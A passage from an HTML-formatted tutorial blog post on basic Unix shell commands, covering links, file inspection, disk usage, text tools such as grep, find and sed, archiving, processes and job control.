&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ln---filesystem-link&#34;&gt;&lt;code&gt;ln&lt;/code&gt; - filesystem link&lt;/h3&gt;
&lt;p&gt;&amp;ldquo;Files&amp;rdquo; are &amp;ldquo;links&amp;rdquo; in the filesystem to entities on the disk. If such an entity has no links, it can be overwritten (the disk space reused). So technically we don&amp;rsquo;t remove a file, but only remove a link to it. You can use the  &lt;code&gt;unlink&lt;/code&gt; command to remove such links, but &lt;code&gt;rm&lt;/code&gt; is much more &lt;em&gt;user friendly&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Creating a new &lt;em&gt;hard link&lt;/em&gt; to an existing file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ln file1 file2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file1&lt;/code&gt; and &lt;code&gt;file2&lt;/code&gt; will point to the same content on the disk, they have to be on the same device (partition)&lt;/li&gt;
&lt;li&gt;changing anything in either one will be visible in the other&lt;/li&gt;
&lt;li&gt;removing &lt;code&gt;file1&lt;/code&gt; or &lt;code&gt;file2&lt;/code&gt; will not delete the content from the disc&lt;/li&gt;
&lt;li&gt;(even removing both of them won&amp;rsquo;t remove it, but you won&amp;rsquo;t be able to easily &lt;em&gt;find&lt;/em&gt; that content, and it can be overwritten)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Creating &lt;em&gt;symbolic links&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ln -s file1 file2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;symbolic links&lt;/em&gt; are &amp;ldquo;special text files&amp;rdquo; pointing to the original file (not to the content on the disk)&lt;/li&gt;
&lt;li&gt;they don&amp;rsquo;t have to be in the same partition&lt;/li&gt;
&lt;li&gt;removing &lt;code&gt;file2&lt;/code&gt; (the link) won&amp;rsquo;t affect &lt;code&gt;file1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;removing &lt;code&gt;file1&lt;/code&gt; (the original file) will break &lt;code&gt;file2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;file---file-info&#34;&gt;&lt;code&gt;file&lt;/code&gt; - file info&lt;/h3&gt;
&lt;p&gt;Sometimes it&amp;rsquo;s hard to tell from a file, what it is (especially if the extension is missing). But there&amp;rsquo;s a tool for that, called &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ file /tmp
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/tmp: directory
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ file .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.bashrc: ASCII text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ file kep.png
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kep.png: PNG image data, &lt;span style=&#34;color:#ae81ff&#34;&gt;732&lt;/span&gt; x 571, 8-bit/color RGB, non-interlaced
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ file kep.png --mime-type
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kep.png: image/png
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ mv kep.png kep.whatever
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ file kep.whatever
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;kep.whatever: image/png
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;disk-usage&#34;&gt;Disk usage&lt;/h3&gt;
&lt;p&gt;If the backend application just stopped unexpectedly, you should always check the disk space.&lt;/p&gt;
&lt;p&gt;Disk usage per filesystems: &lt;code&gt;df&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ df -h         &lt;span style=&#34;color:#75715e&#34;&gt;# show free space - in human readable form&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Filesystem      Size  Used Avail Use% Mounted on
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sda2       108G   80G   22G  79% /
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdb1       336G  202G  117G  64% /mnt/what
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/dev/sdc1       110G  9.8G   94G  10% /home/dyuri/extra
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To check the disk usage of files/directories: &lt;code&gt;du&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ du -h               &lt;span style=&#34;color:#75715e&#34;&gt;# show disk usage per file (recursively, human readable)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ du -hs *            &lt;span style=&#34;color:#75715e&#34;&gt;# show disk usage - summarized per directory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ du -ks * | sort -n  &lt;span style=&#34;color:#75715e&#34;&gt;# disk usage per directory, in kilobytes, sorted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cat&#34;&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Sometimes you need to check the content of a file without starting a bloated and slow editor. That&amp;rsquo;s what &lt;code&gt;cat&lt;/code&gt; is good for.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file              &lt;span style=&#34;color:#75715e&#34;&gt;# print the content of the file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file | more       &lt;span style=&#34;color:#75715e&#34;&gt;# use &amp;#34;more&amp;#34; as pager (crazy shortcuts)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file | less       &lt;span style=&#34;color:#75715e&#34;&gt;# use &amp;#34;less&amp;#34; as pager (better, vi-like shortcuts)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ less file             &lt;span style=&#34;color:#75715e&#34;&gt;# basically the same as above, without pipes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file | head -10   &lt;span style=&#34;color:#75715e&#34;&gt;# show only the first 10 lines&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file | tail -20   &lt;span style=&#34;color:#75715e&#34;&gt;# show only the last 20 lines&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat file | head -12 | tail -2 &lt;span style=&#34;color:#75715e&#34;&gt;# show only lines 11 &amp;amp; 12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ tail -f file          &lt;span style=&#34;color:#75715e&#34;&gt;# show the end of the file, but wait for changes (useful for logfiles)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;wc&#34;&gt;&lt;code&gt;wc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Count the lines/words/characters in a file: &lt;code&gt;wc&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ wc .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;46&lt;/span&gt;  &lt;span style=&#34;color:#ae81ff&#34;&gt;106&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1730&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ wc -l .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;46&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;grep&#34;&gt;&lt;code&gt;grep&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Find string in the content of files: &lt;code&gt;grep&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# search for a css class&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ grep .grid-item *.css
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;global.css:	.search-recommender.fdCouponCar .grid-item.carLastItem &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-grid .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-dfgs .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;search.css:.recipes-active .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# you can use regular expressions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ grep -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\s.grid-view\s&amp;#34;&lt;/span&gt; *.css
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-grid .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-dfgs .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# recursively (not posix, but most grep implementations support it)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ grep -r -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\s.grid-view\s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;common/product_grid.css:.ddpp .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;common/product_grid.css:.newprod-featured .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-grid .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newproducts.css:.newprod-dfgs .grid-view .grid-item-container &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;find&#34;&gt;&lt;code&gt;find&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Find files: &lt;code&gt;find&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# show all the files in the current directory recursively&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ find .
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# show all css files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ find . -name &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;*.css&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# search all css files for .grid-view class (the posix version of recursive grep)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ find . -name &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;*.css&amp;#34;&lt;/span&gt; | xargs -- grep -e &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;\s.grid-view\s&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sed&#34;&gt;&lt;code&gt;sed&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Stream editor&lt;/em&gt; to modify streamed content: &lt;code&gt;sed&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat .gitconfig | grep red
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  old &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; red bold
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  whitespace &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; red reverse
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat .gitconfig | grep red | sed &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;s/red/green/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  old &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; green bold
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  whitespace &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; green bold
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# replace a css class name with an other&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ find . -name&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;*.css&amp;#34;&lt;/span&gt; | xargs -- sed -i &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;s/\.cica(.*)/.kutya\1/&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# *ALWAYS* review such changes carefully!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;awk&lt;/code&gt; is a more powerful beast, but it&amp;rsquo;s completely out of scope for this post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;compressing-files&#34;&gt;Compressing files&lt;/h3&gt;
&lt;p&gt;Command to bundle files together: the &lt;code&gt;T&lt;/code&gt;ape &lt;code&gt;AR&lt;/code&gt;chiver - &lt;code&gt;tar&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ tar cfv cica.tar cica/      &lt;span style=&#34;color:#75715e&#34;&gt;# create a tar with the content of &amp;#34;cica/&amp;#34; (no compression)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ tar xfv cica.tar            &lt;span style=&#34;color:#75715e&#34;&gt;# extract the files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ tar cfvz cica.tgz cica/     &lt;span style=&#34;color:#75715e&#34;&gt;# create a tgz with the content of &amp;#34;cica/&amp;#34; (gzip compression)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ tar xfvz cica.tgz           &lt;span style=&#34;color:#75715e&#34;&gt;# extract&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gunzip cica.tgz             &lt;span style=&#34;color:#75715e&#34;&gt;# decompress cica.tgz to cica.tar&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gzip cica.tar               &lt;span style=&#34;color:#75715e&#34;&gt;# compress cica.tar to cica.tar.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# compress individual files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alma&amp;#34;&lt;/span&gt; &amp;gt; alma.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ gzip alma.txt               &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; alma.txt.gz&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ zcat alma.txt.gz            &lt;span style=&#34;color:#75715e&#34;&gt;# show the content of a gzipped file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;alma
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Gzip is very quick, network is typically slower, that&amp;rsquo;s why it is/was used to compress HTTP content.
There are other, more effective compression algorithms that can be used with &lt;code&gt;tar&lt;/code&gt;, like &lt;code&gt;bzip&lt;/code&gt; or &lt;code&gt;xz&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;processes&#34;&gt;Processes&lt;/h3&gt;
&lt;p&gt;Command to check the running processes: &lt;code&gt;ps&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ps                          &lt;span style=&#34;color:#75715e&#34;&gt;# show processes running in this shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ps -ef                      &lt;span style=&#34;color:#75715e&#34;&gt;# show all processes (BSD style, similar effect: `ps axu`)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ pgrep java                  &lt;span style=&#34;color:#75715e&#34;&gt;# pid(s) of java process(es)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ pstree                      &lt;span style=&#34;color:#75715e&#34;&gt;# the process tree&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ls /proc                    &lt;span style=&#34;color:#75715e&#34;&gt;# the /proc filesystem is an interface to the process data (in some operating systems)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cat /proc/&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;pid&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;/environ     &lt;span style=&#34;color:#75715e&#34;&gt;# environment variables for the given process&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ls -l /proc/&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;pid&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;/fd        &lt;span style=&#34;color:#75715e&#34;&gt;# the open file descriptors of the process, 0 - stdin, 1 - stdout, 2 - stderr&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ top                         &lt;span style=&#34;color:#75715e&#34;&gt;# show the running processes in an interactive way&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;jobs&#34;&gt;Jobs&lt;/h3&gt;
&lt;p&gt;You can suspend long running tasks and let them continue in the background. (But nowadays, starting a new terminal/tab is much easier. But if you accidentally pressed ^Z, this knowledge is still useful ;) )&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;10000&lt;/span&gt;                 &lt;span style=&#34;color:#75715e&#34;&gt;# long running process&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;^Z
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+  Stopped                 sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;20000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;^Z
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;2&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+ &lt;span style=&#34;color:#ae81ff&#34;&gt;139909&lt;/span&gt; Stopped           sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;20000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ jobs -l                     &lt;span style=&#34;color:#75715e&#34;&gt;# list jobs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+ &lt;span style=&#34;color:#ae81ff&#34;&gt;139063&lt;/span&gt; Stopped           sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;10000&lt;/span&gt;
